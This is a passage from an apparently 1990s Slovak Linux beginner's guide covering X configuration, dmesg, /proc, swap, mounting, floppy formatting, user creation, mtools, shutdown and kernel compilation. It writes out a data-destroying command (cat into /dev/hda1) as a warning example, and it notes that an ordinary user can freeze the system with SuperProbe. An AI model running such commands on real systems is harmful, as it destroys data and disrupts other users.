Teraz davajte pozor, ci Vas program varuje aby ste nedovolili `X -probeonly' vetou "Do NOT probe clocks or use any Clocks line". Alebo ci nevypise nic. Ak mate graficky akcelerator napriklad s cipom S3, jeho casovacie hodiny su programovatelne - neslobodno spustat `X -probeonly'. Ak nemate graficky akcelerator - musite to urobit. Teraz len stlacte klavesu <Enter>.

System Vam ponukne servre, mali by ste zvolit volbu 5. Ak nepojde, zvolte postupne ostatne volby. Pojdu, len ak ste prislusne servre instalovali.

Na otazku, ci system smie nastavit symbolicku linku, odpovedzte y. Aj na dalsiu. Teraz zvolte mnozstvo pamate, ktore ma vasa graficka karta (nie pocitac).

Teraz trikrat odklepnite nepotrebne zadavanie nazvu grafickej karty a jej vyrobcu.

RAMDAC a Clokchip odklepnite <Enter>om, ak je na Vasom napisane autodetect. Inak zvolte prislusne volby.

Na otazku "Do you want me to run 'X -probeonly' now?" odpovieme y, ak nas predtym system pred danou cinnostou nevaroval, inak n (je to to iste ako ked otazku len odklepnete <Enter>om).

Otazku na videomody mozete odklepnut volbou 4.

Otazku "Shall I write it to /etc/XF86Config?" zodpovedzte y. V tomto subore bude ulozena konfiguracia X-Window.

Teraz program xf86config skonci. Skusajte spustit system X-Window prikazom

# startx
#
Ak sa system X-Window rozbehne, skusajte reakciu mysi. A potom rozlisenia - prepina sa medzi nimi kombinaciou klaves "Ctrl Alt +" resp. "Ctrl Alt -". Ak to aspon trochu ide, subor /etc/XF86Config si uchovajte napriklad prikazom
# cp /etc/XF86Config ~/XF86Config.ciastocne.iduci
#
a pokusajte sa konfigurovat X-Window znovu.

POZOR ! Zle nakonfigurovany monitor si mozete fyzicky poskodit !

Ak neviete zistit RAMDAC, Clockchips ci dokonca typ grafickej karty, pouzite program SuperProbe.

# SuperProbe
 First video: Super-VGA
        Chipset: S3 Trio64
        Memory:  2048 Kbytes
        RAMDAC:  Generic 8-bit pseudo-color DAC
                 (with 6-bit wide lookup tables (or in 6-bit mode))
#
Program SuperProbe zisti potrebne vlastnosti Vasej grafickej karty. Po spusteni pipne a caka 5 sekund, ci ho neprerusite, pretoze moze zhodit Linux. To je dobre vediet pre hackerov, pretoze SuperProbe moze spustit aj obycajny pouzivatel z ineho terminalu. Kontrolovat sa ale bude konzola a Linux moze zamrznut. Kazdopadne terminal aspon zablika -a to aj v pripade, ze bezi system X-Window.

KAPITOLA VI

SYSTEMOVA UDRZBA

Systemova udrzba sa tyka len Linuxu !

SPRAVY JADRA OPERACNEHO SYSTEMU PRI BOOTOVANI

Po zapnuti pocitaca sa do operacnej pamate musi zaviest jadro operacneho systemu. Hovorime o zabootovani jadra operacneho systemu.  Pri bootovani jadro operacneho systemu Linux vypisuje rozne hlasenia o tom, ake zariadenia v pocitaci rozpoznalo ako aj hlasenia o ich stave. V niektorych pripadoch si tieto hlasenia potrebujeme dodatocne prezriet. Umoznuje to prikaz dmesg (Debug MESsaGes), ktory kompletne vypise hlasenia, ktore jadro operacneho systemu vygenerovalo pri bootovani. Nasledujuci priklad je priamo z mojho pocitaca (z cias, ked som este pouzival distribuciu Linux Slackware):
# dmesg
Console: 16 point font, 400 scans
Console: colour VGA+ 80x25, 1 virtual console (max 63)
pcibios_init : BIOS32 Service Directory structure at 0x000fb6f0
pcibios_init : BIOS32 Service Directory entry at 0xfbb00
pcibios_init : PCI BIOS revision 2.00 entry at 0xfbb30
Probing PCI hardware.
Calibrating delay loop.. ok - 59.80 BogoMIPS
Memory: 23044k/24576k available (560k kernel code, 384k reserved, 588k data)
This processor honours the WP bit even when in supervisor mode. Good.
Swansea University Computer Society NET3.035 for Linux 2.0
NET3: Unix domain sockets 0.12 for Linux NET3.035.
Swansea University Computer Society TCP/IP for NET3.034
IP Protocols: ICMP, UDP, TCP
VFS: Diskquotas version dquot_5.6.0 initialized
Checking 386/387 coupling... Ok, fpu using exception 16 error reporting.
Checking 'hlt' instruction... Ok.
Linux version 2.0.0 (root@microsoft) (gcc version 2.7.2) #11 Fri Jan 10 02:05:17 MET 1997
Serial driver version 4.13 with no serial options enabled
tty00 at 0x03f8 (irq = 4) is a 16550A
tty01 at 0x02f8 (irq = 3) is a 16550A
lp1 at 0x0378, (polling)
APM BIOS version 1.1 Flags 0x07 (Driver version 1.2)
    Entry f000:803c cseg16 f000 dseg fdfc cseg len ff63, dseg len a0
    Connection version 1.1
    AC on line, battery status unknown, battery life unknown
    battery flag 0x00, battery life 0 seconds
hda: WDC AC2850F, 814MB w/64kB Cache, LBA, CHS=827/32/63
hdb: non-IDE drive, CHS=0/0/0
hdb: INVALID GEOMETRY: 0 PHYSICAL HEADS?
ide0 at 0x1f0-0x1f7,0x3f6 on irq 14
Floppy drive(s): fd0 is 1.44M
Started kswapd v 1.4.2.2 
FDC 0 is an 8272A
Partition check:
 hda: hda1 hda2 hda3
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 32252k swap-space
#

ADRESAR /PROC

Udaje o jednotlivych prave beziacich procesoch sa na mnohych UNIX-like operacnych systemoch nachadzaju vo virtualnom adresari /proc. Kazdy proces beziaci na systeme ma automaticky pri jeho inicializacii jadrom pridelene unikatne cislo PID (Process IDentification number). Nazvy jednotlivych podadresarov adresara /proc tvoria prave PID cisla v danej chvili beziacich procesov. V tychto podadresaroch najdeme vsetky dolezite udaje o tom-ktorom procese. Informacie o samotnom operacnom systeme ako aj o jadre operacneho systemu najdeme v suboroch ulozenych priamo v adresari /proc. Napriklad spravy jadra operacneho systemu mozno najst v subore /proc/kmesg. Vo virtualnom adresari /proc najdeme zaujimave udaje o pocitaci, o podporovanych systemoch suborov, spotrebe pamati, jednotlivych prave beziacich procesoch atd. Tento adresar je v skutocnosti vzdy prazdny - operacny system Linux len simuluje subory v nom - v skutocnosti su 'ulozene' v operacnej pamati. Jadro operacneho systemu jednoducho nazvy podadresarov a suborov v adresari /proc vytvara, az ked chcete precitat adresar /proc alebo ak donho vstupite prikazom cd alebo nejakym manazerom suborov (typicky mc = Midnight Commander alebo tkdesk pod X-Window). Obsah virtualnych suborov sa o vytvara z tabuliek umiestnenych v jadre, az ked sa ho pokusate citat. Pre Vas je toto vsetko skryte. Pristupujete k tymto suborom ako k akymkolvek inym suborom systemu adresarov. V adresari /proc ma svoj "obraz" kazdy spusteny proces. Je tam vo forme adresara - subory v nom popisuju pamat pridelenu procesu, procesom spotrebovany cas atd.

SWAPOVANIE

Niektore prikazy, ktore pouziva specialne len systemovy administrator, sme si spomenuli v predoslych kapitolach. Teraz je nacase urobit akysi prehlad a doplnit nevyhnutne informacie. Je jasne, ze musite mat prava roota, na co vas shell upozornuje odlisnou vyzvou - # namiesto $.
# fdisk
Tento program umoznuje mazat a vytvarat jednotlive particie, resp. priradovat ich jednotlivym operacnym systemom. Blizsie vid predoslu kapitolu a prikaz
# man fdisk
Pokial sme vyrobili swapovaciu particiu, musime jej programom fdisk pridelit znacku c. 82 - Linux swap. Potom napiseme
# mkswap -c /dev/hdaN
kde N je cislo swapovacej particie (nepovinny parameter -c skontroluje bezchybovost jej povrchu). Aktivovat ju (a rozsirit tak nasu virtualnu pamat) mozeme prikazom
# swapon /dev/hdaN
Naopak, jej deaktivaciu mozeme vykonat prikazom
# swapoff /dev/hdaN
Prikazy "swapon -a" a "swapoff -a" aktivuju, resp. deaktivuju vsetky swapovacie particie a swapovacie subory zapisane v subore /etc/fstab. System po spusteni automaticky aktivuje (prikazom swapon -a v subore /etc/rc.d/rc.S) vsetky swapovacie particie a swapovacie subory uvedene v subore /etc/fstab a pred rebootom ich deaktivuje. Je preto rozumne do suboru /etc/fstabnovu particiu zaradit - za posledny riadok s typom swap pridat riadok
/dev/hdaN swap swap defaults 1 1
pre swapovaciu particiu /dev/hdaN. Pozor, omyl moze byt nebezpecny, pretoze system Vam moze premazat nejaky iny disk. Aj ked by mal odmietnut swapovat na disk (particiu) nepripraveny prikazom mkswap, naco riskovat.

Pokial chceme vytvorit swapovaci subor, mozeme ho urobit hocijakym sposobom. Najjednoduchsie je napisat:

# dd if=/dev/zero bs=1024k count=8 of=/swapsubor 8+0
 records in 8+0 records out
#
Prikaz dd vytvori subor /swapsuboro dlzke count MB v hlavnom adresari. V nasom priklade je velkost swapovacieho suboru 8 MB. Aplikujme nanho prikaz mkswap
# mkswap /swapsubor
Setting up swapspace, size = 8384512 bytes
#
Pamatajte na to, ze swapovacia particia resp. swapovaci subor moze mat maximalne 128 MB. Ak potrebujete este vacsi swapovaci priestor, mozete vyrobit viac swapovacich particii alebo swapovacich suborov. Vo verziach Linuxu spred roku 1995 mohla mat swapovacia particia maximalne 16 MB a mohlo ich byt maximalne 8. To davalo dohromady 128 MB swap. V novsich verziach Linuxu moze mat swapovacia particia alebo swapovaci subor az 128 MB, cize smiete mat spolu 1 GB swap. Ak potrebujete OBROVSKY swap subor a mate 2 disky - jeden 850 MB a druhy 2.5 GB. Oplati sa Vam pouzit 850 MB disk len na swapovanie ? Tazko povedat. Myslim, ze vhodnejsie by bolo pouzit na swapovanie cast 2.5 GB disku, pretoze bude urcite rychlejsi ako 850, co je pri swapovani dost dolezite. Na druhej strane sa samozrejme intenzivne pracujuci disk skor opotrebuje. V skutocnosti sa vsak opotrebovania diskov bat nemusime. Doba ich zivotnosti je taka dlha, ze k ich poruche vacsinou (ak vobec) dojde az v dobe, ked ich kapacita v porovnani so za rovnaku cenu predavanymi diskami bude smiesne mala - a aj tak ich budeme chciet nahradit novymi. Aj ked stale plati Murphyho zakon: Ked sa nieco moze pokazit, tak sa to aj pokazi...
Varovanie:
V niektorych manualoch sa mozno docitat, ze jadro Linuxu vie v sucasnosti vyuzit maximalne 128 MB swapovaci priestor. Neviem, ci je to pravda. Kazdopadne si myslim, ze vacsi ako 128 MB swap nema na PC storjoch zmysel vytvarat.


Aktivujme nasu particiu (najprv ulozme buffre)

# sync
# swapon /swapsubor
#
Opat do tabulky /etc/fstab zapiseme riadok podobny riadku pre swapovacie particie. Musime ho zapisat ZA vsetky swap riadky. Ak prva swapovacia particia systemu nestaci, pouzije druhu atd. Zaradenim swap suboru, praca s ktorym je omnoho pomalsia ako s particiou, na posledne miesto zabranime zbytocnemu spomaleniu systemu. Okrem toho swapovaci subor musi byt zaradeny az za popis particie, na ktorej lezi (system by ho nenasiel, ak by particia, na ktorej sa swapovaci subor nachadza, nebola primountovana). Riadok bude teda vyzerat takto
/swapsubor swap swap defaults 1 1

MOUNTOVANIE DISKOV

Linux pouziva virtualny diskovy system - ma akoby len jeden disk. Do jednotlivych prazdnych podadresarov mozeme pridat - primountovat dalsie disky a particie. Pre pouzivatela je to skryte - jednoducho vstupuje do daneho podadresara bez ohladu na to, ci je to fyzicky adresar alebo odkaz na disk. To umoznuje podla potreby pridavat a uberat diskovu kapacitu systemu.

DOSovsky disk mozeme namountovat do prazdneho adresara napriklad /dos takto (adresar /dosd a particia /dev/hda2 su len priklady)

# mount -t msdos /dev/hda2 /dos
unmountnut ho mozeme prikazom
# sync
# umount /dev/hda2
Ak chceme obist DOSovske orezavanie nazvov suborov ( MS-DOS povoluje len 8 znakov v mene suboru, bodku a za nou maximalne 3 znaky - hovorime tomu system 8+3 ), musime DOSovsky disk primountovat ako typ UMSDOS.
# mount -t umsdos /dev/hda2 /dos
Ked teraz chceme zapisovat subory s dlhymi nazvami suborov na tento disk, musime ho na to pripravit prikazom umssync
# umssync /dos
Pozor ! Prikaz umssync vytvori v kazdom podadresari subor ---linux.--- a v nom udrzuje potrebne informacie. Subor s takymto nazvom preto v Linuxe nebude pouzitelny. UMSDOS je mozne pouzit aj len na cast disku - napriklad
# mkdir /dos/linux
# umssync /dos/linux
A do adresara /dos/linux a vsetkych jeho podadresarov mozeme zapisovat dlhe nazvy suborov, ktore bude Linux schopny pouzivat.

Unmountovat ho mozeme opat prikazom

# unmount /dev/hda2
Pre uplnost uvedme, ze Linuxacka particia sa primountuje prikazom
# mount -t ext2 /dev/hda2 /dos
do prazdneho adresara /dos. Lepsie by vsak bolo dat mu nazov /linux alebo /linux1, /linuxparticia - fantazii sa medze nekladu.

Unmountuje sa rovnako ako predosle

# umount /dev/hda2
Ked chceme, aby sa particie mountovali automaticky, musime ich umiestnit do suboru /etc/fstab. Nech /dev/hda1 je root particia (na nej musia byt fyzicky umiestnene adresare /bin, /dev a /etc), nech je /dev/hda5 druha linuxacka particia, /dev/hda6 nech je MS-DOS particia a /dev/hda7 nech je MS-DOS particia umoznujuca dlhe nazvy suborov (typ umsdos). V /etc/fstab budu okrem inych aj nasledujuce riadky
/dev/hda1        /           ext2        defaults   1   1
/dev/hda5        /linux      ext2        defaults   1   1
/dev/hda6        /dosc       msdos       defaults   1   1
/dev/hda7        /dosd       umsdos      defaults   1   1
Pozor, Linux nerobi umssync automaticky po spusteni na umsdos particie, bud to vzdy po spusteni systemu urobte ako root alebo prikaz umssync dajte do jedneho z inicializacnych suborov. Presne to som urobil aj ja. Prikaz umssync som umiestnil do suboru /etc/rc.d/rc.local takto
echo "Obnovujem /dosd/linux prikazom: /sbin/umssync /dosd/linux"
/sbin/umssync /dosd/linux
a nemal som s tym doteraz ziadne problemy. Particiu /dosd zdielam zo systemom Windows '95, preto nerobim umssync na cely disk /dosd ale len na podadresar /dosd/linux. Windows '95 totiz pouziva iny princip na uchovanie dlhych nazvov suborov a nie je vhodne mu nic do adresarov obsahujucich dlhe nazvy suborov zapisovat.

DLHE NAZVY SUBOROV VO WINDOWS '95

Ak chcete pouzivat system dlhych nazvov kompatibilnych s WINDOWS '95, mozete namountovat napriklad /dev/hda6 ako typ vfat ( virtual fat filesystem):
/dev/hda6 /dosc vfat defaults 1 1
Zial, ani msdos ani vfat Vam neumoznia uchovavat ine informacie o suboroch, ako dokaze MICROSOFT DOS resp. MICROSOFT WINDOWS '95. Suborovy system vfat Vam sice umozni zdielat dlhe nazvy suborov, nemozete vsak uchovavat PRISTUPOVE PRAVA a dalsie informacie bezne pre Linux. Na toto je urceny system suborov umsdos.

VYTVORENIE SYSTEMU SUBOROV

Preformatovanie particie a vytvorenie systemu suborov si ukazeme na praci s disketou:
# fdformat /dev/fd0
Double-sided, 80 tracks, 18 sec/track. Total capacity 1440 kB.
Formatting ... done
Verifying ... done
#
Subor /dev/fd0 je linka ukazujuca na subor /dev/fd0h1440, co je ovladac 1,44 MB diskety. V pripade, ze mechanika pod MS-DOSom znama ako A: ma inu kapacitu, usetrime si starosti s nou, ak budeme pouzivat /dev/fd0. Ak by vsak nejake problemy nastali, vzdy je mozne pouzit presnu specifikaciu. Stare systemy pouzivali namiesto /dev/fd0h1440 oznacenie /dev/fd0H1440. Je preto naozaj rozumnejsie na oznacenie diskety pouzivat linku/dev/fd0.

DOSovsky system suborov nahodime na naformatovanu disketu prikazom

# mkdosfs -c /dev/fd0
mkdosfs 0.2, 18th February 1994 for MS-DOS FS
#
a Linuxovsky system suborov (second extended file system) prikazom
# mke2fs -c /dev/fd0
mke2fs 0.5b, 14-Feb-95 for EXT2 FS 0.5a, 95/03/19
360 inodes, 1440 blocks
72 blocks (5.00%) reserved for the super user
First data block=1
Block size=1024 (log=0)
Fragment size=1024 (log=0)
1 block group
8192 blocks per group, 8192 fragments per group
360 inodes per group

Checking for bad blocks (read-only test): done
Writing inode tables: done
Writing superblocks and filesystem accounting information: done
#
Vsimnite si, ze disketa bude naformatovana na mensiu kapacitu, nez je tomu pre MS-DOS format (5 % bude zbytocne rezervovanych pre pouzivatelsku identifikaciu root).

PRIDANIE NOVEHO POUZIVATELA

Pridat noveho pouzivatela mozeme prikazom
# adduser

Adding a new user. The username should not exceed 8 characters
in length, or you may run into problems later.

>>> Tu je vystraha, ze login nesmie mat viac ako 8 znakov. DODRZTE TO ! <<<

Enter login name for new account (^C to quit): ducai

Editing information for new user [ducai]

Full Name: Marek Ducai
GID [100]:
Group 'users', GID 100
First unused uid is 504

UID [504]:

Home Directory [/home/ducai]:

Shell [/bin/bash]:

Password [ducai]:

Information for new user [ducai]:
Home directory: [/home/ducai] Shell: [/bin/bash]
uid: [504] gid: [100]

Is this correct? [y/N]: y

Adding login [ducai] and making directory [/home/ducai]

Adding the files from the /etc/skel directory:
./.kermrc -> /home/ducai/./.kermrc
./.less -> /home/ducai/./.less
./.lessrc -> /home/ducai/./.lessrc
./.term -> /home/ducai/./.term
./.term/termrc -> /home/ducai/./.term/termrc
#
Ak ste si proceduru pridavania pouzivatela dobre pozreli, vidite, ze system v hranatych zatvorkach ponuka moznosti, ktore staci len odklepnut (=potvrdit stlacenim klavesu <ENTER>). Na zaciatku treba zadat login a potom meno a priezvisko. Na koniec odpovieme y (Yes = ano). Login noveho pouzivatela je vhodne pridat aj do /etc/group. Nie je to nevyhnutne.

PRENASANIE SUBOROV MEDZI OPERACNYMI SYSTEMAMI MS-DOS A LINUX

Zial, MS-DOS zaznamenava textove subory inac ako UNIX. UNIX na koniec riadku dava znak \n (novy riadok) a navrat vozika, t.j. kurzoru na zaciatok noveho riadku pri vypise takehoto suboru vykona automaticky. MS-DOS do textovych suborov za kazdy riadok uklada \r\n (navrat vozika a novy riadok). Pokial teda napisete v MS-DOSe textovy subor a chcete ho len citat, mozete pouzit volbu F3 v Midnight Commanderi v Linuxe. Podobne, ak napisete textovy subor v Linuxe, mozete ho citat v MS-DOSe volbou F3 v Norton Commanderi. Ak vsak chcete tieto subory prenasat a editovat v obidvoch systemoch, musite ich preniest medzi systemami so zapnutou volbou ASCII programu ftp (po sieti) alebo cez disketu alebo pouzit specialne prikazy takto:

Vlozte disketu do mechaniky A: (/dev/fd0). Prikazom mdir zistite jej obsah. Ak potrebujete preniest subor subor.txt do Linuxu napiste

# mread -t subor.txt linuxacky_suborik_s_dlhym_nazvom.txt
a ak ho chcete preniest do MS-DOSu, napiste
# mwrite -t linuxacky_suborik_s_dlhym_nazvom subor.txt
Prepinac -t zabezpeci potrebne konverzie.

Programy mread a mwrite su podporovane len pre spatnu kompatibilitu. Lepsie je pracovat takto:

# mdir
 Volume in drive A has no label
 Volume Serial Number is 188D-7693
 Directory for A:/

textik         303820 09-12-1995   9:35a
        1 file(s)          303 820 bytes
                         1 153 536 bytes free

#
Prikaz mdir vypise obsah default diskety ( a: ). Syntax prikazu povoluje pouzivat dosovske oznacenie diskiet
# mdir b:
floppy1: perpendicular mode not supported by this FDC.
Ja nemam disketu b:. System na pokus o pristup na neexistujucu disketovu mechaniku reagoval chybovou hlaskou. FDC = floppy drive controller (specialny mikroprocesor obsluhujuci disketove mechaniky). Uz som si myslel, ze sa musim prepnut na inu virtualnu konzolu, prihlasit sa ako root a program mdir zrusit prikazom kill (teda ho killnut). Asi po minute vsak system vypisal
init: set default params
Cannot initialize 'B:'
#
a vratil mi prompt. To je dolezite o Linuxe vediet. Aj ked sa zda, ze program, ci samotny Linux "zamrzol", t.j. "stuhol" - zacal sa spravat nekorektne ci dokonca prestal na Vas vstup reagovat, treba mu dopriat trochu casu. Vacsinou sa spamata a dalej bude pracovat normalne.

Ale vratme sa k problemu. Na systemoch, ktore maju druhu disketovu mechaniku, prikaz mdir b: vypise jej obsah.

Pre skonvertovanie textoveho suboru vo formate, aky pouziva MS-DOS na Linuxacky format a naopak je mozne pouzit prikaz mcopy. Tento prikaz zaroven kopiruje aj konvertuje. Priklad:

# mcopy -t a:/textik skonvertovany_textik.txt
#
nam skopiruje z diskety a: (vid nizsie) subor textik do aktualneho adresara a da mu nazov skonvertovany_textik.txt. Prepinac -t sposobi konverziu CRLF/LF. [CR = carridge return (navrat vozika) a LF = line feed (novy riadok)]. Prikaz mdir sa snazi byt kompatibilny s Linuxom, ale pouziva hlavne notaciu (resp. syntax = sposob zapisu prikazov) MS-DOSu, ktory prvu disketovu mechaniku oznacuje a:, druhu b:, pevne disky c:, d: atd.

Ak chceme zachovat povodny nazov, mozeme pisat

# mcopy -t a:/textik .
ci dokonca
# mcopy -t a:/textik
A budem mat skonvertovany subor textik u seba. Ak chceme prekopirovat vsetky subory z diskety, mozeme skusit prikaz
# mcopy -t a:/*
#
A konverzia je rychla. Zial, kopirovat a zaroven konvertovat z diskovej particie je tazsie:
# mcopy -t c:/*
Can't open /dev/sda1: No such device
Cannot initialize 'C:'
mcopy: File "c:*" not found
#
Program je teda defaultovo nastaveny tak, ze ako disk c: ocakava SCSI disk. Asi si tvorca softwareu neuvedomil, ze viac nez 80 % strojov pouziva radic IDE a nie SCSI. Prikaz mcopy na disk c: funguje aj pre radic typu IDE, ak v subore /etc/mtools.conf okomentujeme riadok pre scsi disk a odkomentujeme riadok pre IDE disk. Ako paramteter je potrebne uviest spravnu particiu.

Samozrejme sa da kopirovat aj z Linuxackeho disku na MS-DOS formatovanu disketu:

# mcopy -t skonvertovany_textik.txt a:/textik.txt
#
Este niekolko poznamok:

O celu zalezitost sa na nenamountovanej diskete s DOS FAT suborovym systemom stara programovy balik mtools. Vsimli ste si, ze vsetky jeho prikazy zacinaju pismenom m ? Disketu je mozne normalne namountovat napriklad do adresara /diskc a pracovat s nou. Len ak chcete pouzit konverziu prikazmi mread / mwrite ci mcopy (mread a mwrite sa v skutocnosti tak ci tak obracaju na prikaz ), potrebujete mat nainstalovany programovy balik mtools. Mozete nim dokonca na diskete vytvarat adresare

# mmd zaloha
#
a pohybovat sa po nich
# mcd zaloha
#
ci vypisat si "cestu" (aktualny adresar na diskete)
# mcd
A:/ZALOHA
#
Prikaz cd bez argumentov totiz v MS-DOSe nahradza funkciu UNIXovskeho prikazu pwd. U nas - to jest v UNIXe - prikaz cd bez argumentov prepne aktualny adresar do domovskeho. V DOSe neexistuje ochrana suborov a kazdy moze na disku mazat co chce. DOS nevie, kto pod nim pracuje. Nevie ho teda hodit do domovskeho adresara. V DOSe neexistuju domovske adresare. Preto je v DOSe mozne pouzit prikaz cd namiesto pwd.

Pozor, disk nesmie byt do systemu suborov namountovany ! Este poznamka k nazvom diskov. MS-DOS prvu mechaniku vola a:, Linux ju nazyva /dev/fd0HCCCC, kde H je jej typ (H=h pre double-sided high-density) a CCCC je jej kapacita v KB. Teda ak mate prvu mechaniku 1.44 MB 31/2'' a druhu 1.2 MB 51/4'', MS-DOS ich v uvedenom poradi oznacuje ako A: a B: (a pouzivatel pocitaca dokonca nemusi nic o kapacitach diskov vediet). Zial, Linuxu musite (aspon v doterajsich verziach) povedat, ze prva je /dev/fd0h1440 a druha je /dev/fd1h1200. Ak Vam to ide na nervy, mozete pouzit /dev/fd0 a /dev/fd1 a Linux sa sam pokusi urcit kapacitu a format diskety. Vo vacsine pripadov to funguje bez problemov.

Ak chcete, aby na disketu mohli pristupovat aj ini pouzivatelia, povolte pristupove prava pre /dev/fd0 na Read-Write pre vsetkych. Programovy balik mtools je mozne nakonfigurovat tak, aby mohol na disketu pristupovat kazdy aj bez povolenia pristupovych prav.

VYPNUTIE POCITACA

Linuxovsky format disku ext2 umoznuje drzat na zaciatku kazdeho superbloku jeden bit, ktory je nastaveny na 1, ak je vsetko v poriadku a na 0, ak bola cinnost operacneho systemu nasilne prerusena (vypadkom elektrickeho prudu alebo stlacenim tlacidla <reset> ci vypnutim pocitaca). Linux tak pri starte dokaze detekovat, ci bol naposledy pocitac vypnuty korektnym sposobom. Ak nie, prebehne automaticka kontrola Linuxovskych diskov. Automaticka kontrola prebehne aj po urcitom pocte spusteni systemu - zabrani sa tak moznym chybam.

Skontrolovat nenamountovanu particiu sa da prikazom fsck particia. Ak je chybna, program fsck Vam povie, ze ju mozte obnovit napriklad prikazom e2fsck -b 8193 particia. Ukazme si to na diskete naformatovanej na MS-DOS format (MS-DOS suborovy system sa ochranuje inak - z MS-DOSU prikazom chkdsk - originalny program fsck by disketu s MS-DOS formatom povazoval za poskodenu Linuxacku disketu ).

Kedy mozno poskodit disk ? Napriklad ak root chybne presmeruje vystup z programu priamo na disk nariklad prikazom cat <subor >/dev/hda1, premaze zaciatok particie 1. Ak je to Linuxacky disk, Linux aspon cast z neho dokaze obnovit ! Robi si totiz zalohy superbloku kazdych 8192 alokacnych blokov na disku. Spravme teda pokus

# mkdosfs -c /dev/fd0                      "oklameme" Linuxacky fsck
mkdosfs 0.2, 18th February 1994 for MS-DOS FS   vytvorili sme MS-DOS format

# fsck /dev/fd0            fsck si mysli, ze ide o poskodenu Linux disketu,
Parallelizing fsck version 0.5b (14-Feb-95)     lebo nenasiel superblok
e2fsck 0.5b, 14-Feb-95 for EXT2 FS 0.5a, 95/03/19
fsck.ext2: Bad magic number in super-block while trying to open /dev/fd0H1440

The filesystem superblock is corrupt.  Try running e2fsck with an alternate
superblock using the -b option.  (8193 is commonly an alternate superblock;
Hence, 'e2fsck -b 8193 <device>' may recover the filesystem.)
#
Linux nikdy nesmiete vypnut tlacidlom vypinaca pocitaca, vytiahnutim kabelu zo zasuvky alebo tlacidlom <reset>. Linux Slakware ci Debian mozete vypnut stlacenim kombinacie klaves Ctrl-Alt-Del. Pockajte potom na vypis biosu - grefickej karty, az tak vypnite pocitac. Alebo ho vypnite napisanim prikazu
# /sbin/halt
Potom pockajte na hlasenie halting the system. V mnohych pripadoch chvilu po nej nasleduje hlasenie biosu System halted. Az potom pocitac vypnite.

Oficialny sposob vypnutia pocitaca je prihlasit sa ako root a napisat

# /sbin/shutdown -r now
#
V skutocnosti toto na vacsine systemov robi kombinacia klaves Ctrl-Alt-Del. V novych verziach Linuxu ho mozete vypnut prikazom
# /sbin/telinit 6
#
Ak system bezi v rezime "len X-window", kombinacia klaves Ctrl-Alt-Del nemusi fungovat. Ak ho chcete pouzit, musite sa prepnut na textovu virtualnu konzolu a uvedenu kombinaciu klaves stlacit tam Inak mozete pouzit lubovolnu z uvedenych styroch moznosti. Samozrejme, najjednoduchsie je pouzit kombinaciu klaves Ctrl-Alt-Del (plati pre vacsinu distribucii Linuxu).

NASTAVENIA

Do suboru /etc/issue napsite uvitaciu hlasku.
V /etc/printcap odkomentujte vsetky riadky pre svojou tlaciaren.
Vela nastaveni sa spusta programami v adresari /var/log/setup/setup.*.

SIETE

V tejto prirucke sa problematike sieti nevenujem. Preto pre inspiraciu uvediem len dve nastavenia.

Nazov svojej organizacie napiste do suboru /etc/organization. Do suboru /etc/resolv.conf napiste slovo domain nasledovane nazvom vasej domeny, napriklad ak mam adresu milan.schmotze.kvpke.sk, do /etc/resolv.conf dam domain schmotze.kvpke.sk.

KOMPILACIA JADRA LINUXU

Nasledujuci priklad ukazuje kompilaciu jadra operacneho systemu Linux (aj s jeho odskusanim):
# cd /usr/src/linux

# make menuconfig ; sync ; make dep ; make clean ; make zImage ; \
> make modules ; make modules_install ; \
> cp /usr/src/linux/arch/i386/boot/zImage /dosc/loadlin ; \
> sync ; shutdown -r now ; exit
V uvedenom priklade sa najprv prepneme do adresara /usr/src/linux.V nom je najdolezitejsi subor README obsahujuci popis kompilacie jadra. Dalsie dva riadky zabezpecia kompilaciu jadra operacneho systemu Linux. Pri samotnej kompilacii je potrebne stravit urcity cas nad konfiguraciou jadra (prikaz make menuconfig). Treti riadok skopiruje skompresovane jadro (s nazvom zImage) do adresara /dosc/loadlin. (V adresari /dosc mam primountovany moj dosovsky disk.) Stvrty riadok rebootne operacny system.

KAPITOLA VII

AKO DALEJ

Tato prirucka konci. Zdaleka som v nej nepopisal vsetky veci, pretoze uz aj tak je to pre zaciatocnika dost velke susto. Ak potrebujete nieco zistit, nakonfigurovat, ci nainstalovat a nie je to tu popisane, skuste sa pobit s anglickou dokumentaciou. Pouzivajte prikaz man. Hladajte v jednotlivych adresaroch, co potrebujete. Citajte casto opytovane otazky (FAQ) v adresari /usr/doc. Nevzdavajte sa pri prvom neuspechu. Aj skusenym systemovym administratorom trva niekedy cele hodiny, kym sa im podari cosi "rozbehat". Aj sam tvorca Linuxu - Linus Torvalds - si raz vymazal cely disk a mnohokrat mu system 'zamrzol'. Nebojte sa experimentovat. Prinajhorsom si zmazete subory. Pokial mate urobenu zalohu dolezitych suborov (a pripadne aj softwaru), nemate sa coho bat. Zalohu by ste tak ci tak mali mat aspon pre najnutnejsie subory - Vase data, bez ktorych sa nezaobidete. Ja mam vzdy zalohu aj zakladneho software - minimalne bootovacie diskety pre MS-DOS, Windows NT a Linux.

Nebojte sa experimentovat. Chcete nainstalovat siete ? Skusajte prikazy 'man ifconfig' ci 'man route'. Dozviete sa tam veci (man = manual = prirucka ), ktore Vas usmernia na dalsie potrebne dokumenty a prikazy.

Zapamatajte si: Nech uz by bol problem akokolvek velky, vzdy existuje riesenie. Ak uz si naozaj s niecim neviete rady, prestante na chvilu pracovat a 'vypnite' - poprechadzajte sa, zjedzte cosi dietneho, pospite si - a vratte sa k problemu. Ak sa Vam ani tak nedari ani po prestudovani dostupnej literatury problem vyriesit - vyhladajte experta v danej oblasti docasne lepsieho ako ste v danej chvili Vy. Cim viac sa vsak naucite urobit sami, tym lepsi expert sa z Vas stane. Naucite sa citit dany obor (v nasom pripade Linux), vzit sa donho a chapat ho. Jeden profesor svojim ziakom pripominal, ze vtedy budu expertmi na matematiku, ak sa im bude o cislach aj snivat. A ak sa pri holeni porezu, z rany im nepotecie krv, ale cisla!

Mimochodom, v novych verziach jadra Linuxu je mozne pouzivat moduly. To znamena, ze nie je potrebne drzat v jadre vsetky ovladace, ale len momentalne pouzivane. Ostatne moze v pripade potreby nahrat administrator (co je na velkych systemoch prakticky nepouzitelne, pretoze vyzaduje PRITOMNOST administratora) alebo ich moze nahrat v pripade potreby daemon (tusim kerneld). Ak mate zaujem pohrat sa s modulmi (oplati sa na systemoch neoplyvajucich velkou pamatou), pozrite si subor /usr/src/linux/Documentation/modules.txt.

Mnoho prijemnych zazitkov s najlepsim operacnym systemom na svete Vam zela

        autor

PRILOHA I

U N I X

PRIRUCKA HACKERA

